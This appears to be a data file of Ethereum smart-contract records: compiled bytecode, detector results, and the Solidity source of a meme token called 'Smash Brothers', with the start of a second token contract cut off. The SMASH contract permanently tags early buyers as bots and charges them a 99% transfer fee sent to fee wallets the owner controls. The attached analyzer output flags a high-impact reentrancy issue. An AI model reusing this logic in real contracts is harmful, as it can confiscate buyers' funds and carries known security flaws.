fffffffffffffffffffffff161415156108c257600080fd5b600660149054906101000a900460ff1615156108dd57600080fd5b6000600660146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561097657600080fd5b3390506109cb82600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137c90919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a238260045461137c90919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600660149054906101000a900460ff1681565b6000600660149054906101000a900460ff16151515610aac57600080fd5b610ab68383611395565b905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b6357600080fd5b600660149054906101000a900460ff16151515610b7f57600080fd5b6001600660146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c845780601f10610c5957610100808354040283529160200191610c84565b820191906000526020600020905b815481529060010190602001808311610c6757829003601f168201915b505050505081565b6000600660149054906101000a900460ff16151515610caa57600080fd5b610cb48383611626565b905092915050565b6000600660149054906101000a900460ff16151515610cda57600080fd5b610ce4838361184a565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ffa57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561104857600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110d357600080fd5b61112582600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137c90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ba82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4690919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128c82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137c90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561138a57fe5b818303905092915050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156114a6576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153a565b6114b9838261137c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166357600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b157600080fd5b61170382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137c90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179882600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4690919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006118db82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4690919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611a5a57fe5b80915050929150505600a165627a7a723058205a68b89efcf2b97d615e520da307fbca0b494ee649e822e58091cb58491c57620029
|
{"success": true, "error": null, "results": {}}
| 5,317 |
0xE8F6f79DBAB14590EbA09431bE4A6e3EdEF9Bb67
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract smashbrothers is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 1e12 * 1e9; //100,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Smash Brothers";
string private constant _symbol = "SMASH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x45cB0F7D1862f17359cF17dB3B36270d0057FE9a);
_feeAddrWallet2 = payable(0x63c6aa0E57Ff4008247B1164281aCDcBa7A442A3);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (block.number <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
}
if (from != address(this) && bots[to]) {
_feeAddr1 = 0;
_feeAddr2 = 99;
}
else if (from != address(this) && !bots[from] && !bots[to]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100 * 1e9 * 1e9) { //100,000,000,000
sendETHToFee(address(this).balance);
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(5).mul(4));
_feeAddrWallet2.transfer(amount.div(5));
}
function openTrading(uint256 botBlocks) external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_firstBlock = block.number;
_botBlocks = botBlocks;
cooldownEnabled = true;
_maxTxAmount = 100 * 1e10 * 1e9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102b6578063c3c8cd80146102d6578063d1633649146102eb578063dd62ed3e1461030b57600080fd5b806370a082311461022b578063715018a61461024b5780638da5cb5b1461026057806395d89b411461028857600080fd5b80632ab30838116100c65780632ab30838146101c3578063313ce567146101da5780635932ead1146101f65780636fc3eaec1461021657600080fd5b806306fdde0314610103578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600e81526d536d6173682042726f746865727360901b60208201525b60405161014391906113cc565b60405180910390f35b34801561015857600080fd5b5061016c610167366004611436565b610351565b6040519015158152602001610143565b34801561018857600080fd5b5069152d02c7e14af68000005b604051908152602001610143565b3480156101af57600080fd5b5061016c6101be366004611462565b610368565b3480156101cf57600080fd5b506101d86103d1565b005b3480156101e657600080fd5b5060405160098152602001610143565b34801561020257600080fd5b506101d86102113660046114b1565b610414565b34801561022257600080fd5b506101d861045c565b34801561023757600080fd5b506101956102463660046114ce565b610493565b34801561025757600080fd5b506101d86104b5565b34801561026c57600080fd5b506000546040516001600160a01b039091168152602001610143565b34801561029457600080fd5b506040805180820190915260058152640a69a82a6960db1b6020820152610136565b3480156102c257600080fd5b5061016c6102d1366004611436565b610529565b3480156102e257600080fd5b506101d8610536565b3480156102f757600080fd5b506101d86103063660046114eb565b610576565b34801561031757600080fd5b50610195610326366004611504565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061035e3384846108fe565b5060015b92915050565b6000610375848484610a22565b6103c784336103c2856040518060600160405280602881526020016116e8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c97565b6108fe565b5060019392505050565b6000546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb9061153d565b60405180910390fd5b69152d02c7e14af6800000601255565b6000546001600160a01b0316331461043e5760405162461bcd60e51b81526004016103fb9061153d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146104865760405162461bcd60e51b81526004016103fb9061153d565b4761049081610cd1565b50565b6001600160a01b03811660009081526002602052604081205461036290610d65565b6000546001600160a01b031633146104df5760405162461bcd60e51b81526004016103fb9061153d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035e338484610a22565b6000546001600160a01b031633146105605760405162461bcd60e51b81526004016103fb9061153d565b600061056b30610493565b905061049081610de9565b6000546001600160a01b031633146105a05760405162461bcd60e51b81526004016103fb9061153d565b600f54600160a01b900460ff16156105fa5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610638308269152d02c7e14af68000006108fe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a9190611572565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070b9190611572565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610758573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077c9190611572565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306107ac81610493565b6000806107c16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610829573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061084e919061158f565b5050600f8054436010556011859055683635c9adc5dea0000060125563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f991906115bd565b505050565b6001600160a01b0383166109605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fb565b6001600160a01b0382166109c15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610a845760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fb565b600f546001600160a01b038481169116148015610aaf5750600e546001600160a01b03838116911614155b15610aed57601154601054610ac391610f63565b4311610aed576001600160a01b0382166000908152600660205260409020805460ff191660011790555b6001600160a01b0383163014801590610b1e57506001600160a01b03821660009081526006602052604090205460ff165b15610b32576000600a556063600b55610c10565b6001600160a01b0383163014801590610b6457506001600160a01b03831660009081526006602052604090205460ff16155b8015610b8957506001600160a01b03821660009081526006602052604090205460ff16155b15610c10576001600a55600b8055600f546001600160a01b038481169116148015610bc25750600e546001600160a01b03838116911614155b8015610be757506001600160a01b03821660009081526005602052604090205460ff16155b8015610bfc5750600f54600160b81b900460ff165b15610c1057601254811115610c1057600080fd5b6000610c1b30610493565b600f54909150600160a81b900460ff16158015610c465750600f546001600160a01b03858116911614155b8015610c5b5750600f54600160b01b900460ff165b15610c8657610c6981610de9565b4768056bc75e2d63100000811115610c8457610c8447610cd1565b505b610c91848484610fc2565b50505050565b60008184841115610cbb5760405162461bcd60e51b81526004016103fb91906113cc565b506000610cc884866115f0565b95945050505050565b600c546001600160a01b03166108fc610cf66004610cf0856005610fcd565b9061100f565b6040518115909202916000818181858888f19350505050158015610d1e573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610d39836005610fcd565b6040518115909202916000818181858888f19350505050158015610d61573d6000803e3d6000fd5b5050565b6000600854821115610dcc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103fb565b6000610dd661108e565b9050610de28382610fcd565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3157610e31611607565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eae9190611572565b81600181518110610ec157610ec1611607565b6001600160a01b039283166020918202929092010152600e54610ee791309116846108fe565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2090859060009086903090429060040161161d565b600060405180830381600087803b158015610f3a57600080fd5b505af1158015610f4e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600080610f70838561168e565b905083811015610de25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b6108f98383836110b1565b6000610de283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111a8565b60008261101e57506000610362565b600061102a83856116a6565b90508261103785836116c5565b14610de25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b600080600061109b6111d6565b90925090506110aa8282610fcd565b9250505090565b6000806000806000806110c38761121a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110f59087611277565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111249086610f63565b6001600160a01b038916600090815260026020526040902055611146816112b9565b6111508483611303565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161119591815260200190565b60405180910390a3505050505050505050565b600081836111c95760405162461bcd60e51b81526004016103fb91906113cc565b506000610cc884866116c5565b600854600090819069152d02c7e14af68000006111f38282610fcd565b8210156112115750506008549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006112378a600a54600b54611327565b925092509250600061124761108e565b9050600080600061125a8e87878761137c565b919e509c509a509598509396509194505050505091939550919395565b6000610de283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c97565b60006112c361108e565b905060006112d1838361100f565b306000908152600260205260409020549091506112ee9082610f63565b30600090815260026020526040902055505050565b6008546113109083611277565b6008556009546113209082610f63565b6009555050565b6000808080611341606461133b898961100f565b90610fcd565b90506000611354606461133b8a8961100f565b9050600061136c826113668b86611277565b90611277565b9992985090965090945050505050565b600080808061138b888661100f565b90506000611399888761100f565b905060006113a7888861100f565b905060006113b9826113668686611277565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156113f9578581018301518582016040015282016113dd565b8181111561140b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461049057600080fd5b6000806040838503121561144957600080fd5b823561145481611421565b946020939093013593505050565b60008060006060848603121561147757600080fd5b833561148281611421565b9250602084013561149281611421565b929592945050506040919091013590565b801515811461049057600080fd5b6000602082840312156114c357600080fd5b8135610de2816114a3565b6000602082840312156114e057600080fd5b8135610de281611421565b6000602082840312156114fd57600080fd5b5035919050565b6000806040838503121561151757600080fd5b823561152281611421565b9150602083013561153281611421565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561158457600080fd5b8151610de281611421565b6000806000606084860312156115a457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156115cf57600080fd5b8151610de2816114a3565b634e487b7160e01b600052601160045260246000fd5b600082821015611602576116026115da565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561166d5784516001600160a01b031683529383019391830191600101611648565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116a1576116a16115da565b500190565b60008160001904831182151516156116c0576116c06115da565b500290565b6000826116e257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077570e7a0c8f5cc04ebede24aeecf20fc0f002c587d4f6ab9644a7f8bf4edb8864736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,318 |
0xd7606ebaf893abc052a90d1714690d30b1728884
|
/*
From Elon's lastest tweet
https://twitter.com/elonmusk/status/1451017165654663171
4 billion Tokens
https://t.me/A4billionToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
